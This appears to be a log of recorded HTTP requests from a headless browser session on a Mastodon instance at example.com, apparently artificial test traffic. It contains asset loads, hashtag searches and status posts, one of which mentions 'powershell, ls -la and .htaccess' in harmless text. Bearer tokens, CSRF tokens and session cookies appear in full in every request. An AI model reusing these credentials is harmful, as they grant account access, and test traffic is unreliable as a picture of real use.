{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: DhuW4OAQwzFBdZh1ooy1_wr3ShrwE9-GasH1Y5NBpyPk3a0awbgj04gtch8KKfW80vJDlV8xBAf_J58SaA0asw", "Authorization: Bearer rWYdK4yMefqkXZ-lsb59TawdJXJRbItKCLaZHqnAH2U", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MDAuNDQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2e005a0c0a39553d22226afa129a9a92911e8a52; _mastodon_session=cTydIB16X6RaTdkrtlDildZ9B%2BiSpFgy2H0aJJCiweoKl0KNq6tOaDQOHnyxoujCtgl%2B44Nz98ZjYcVWcALXzMXdRmL77K9aaV6YcY25cdtT6Z9g1YE7mzi53rC%2FHAjHaJ67Nbw%2B67TLshzZwrO6tqvgQc%2BFxhykd0gU%2F6ZmW0weJsJs8d6BHrgG4xaHYmwqBiVWB2XgfYlDqf80ozbgv4APSGtB96ovfkHXpkQUobKCkdBPQzUuWGrvln2BeKhDF25KSF%2B7Umxu2vAo3YpLQ0D2RhQMDDaaweYBj6pYmD89IWBsZTFORLgYRCEt2NNoBNEJJ%2F8zWRfD9se%2FjGrhcblDf0YUsWZLiOYjNRmIrbzLSHtj%2B09Ht340%2FzuO%2Bsq2b7MxLcGeDIOy--2TLUrGI1xJYR4I3W--d3EBR9y2nw0on9AQVT8qaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=QmOUx2DCAY5Avlk6vEpyTplzwOZMdYu4tb4VPa2HaaFhBAYdZ8dFCEfeqnZXX7JYMmaroZkP0YFPewIK16c7BiCSNpvXI%2BhTAdsg91or%2F2QX2FuZJ9ApE3apRGSLVklFfkGUjhL6M1MLbf%2Fy95Ig3R9ojm7So%2F0jFvPLrME5FfEr13iJ%2BL8TjoX4zd2WwXTn12SQcna58HVjCEQyNA4e22cJrmvm2lsIwM9F0nAxUCzBz5Txsn6iADfTcAi3SMy8yz3Hhs709cwig4jfdzpLW9AQm7aBmUUTzA%3D%3D--mKuoeJLj0Qsgm4Ql--sIaGgeDm4MfK9vrg3u7AeA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/display_name-BHmLvgU_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/scroll_container-DTFJ2dtn.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/ImmutablePropTypes-C_rOJ6cM.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/useTimeout-B7x_fFEH.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 245", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 86d81d8d-702d-4103-8139-1baf4493975d", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": "{\"status\":\"Morning walk by the river, then coffee with friends.\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=py&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=python3&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 9f1fa73d-51ee-44b6-adde-9ba9f7187fd2", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": "{\"status\":\"Notes on python3, powershell, ls -la and .htaccess #python3\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 320", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 3aa2d4fa-eefb-40b2-bf47-9d5b0160c003", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 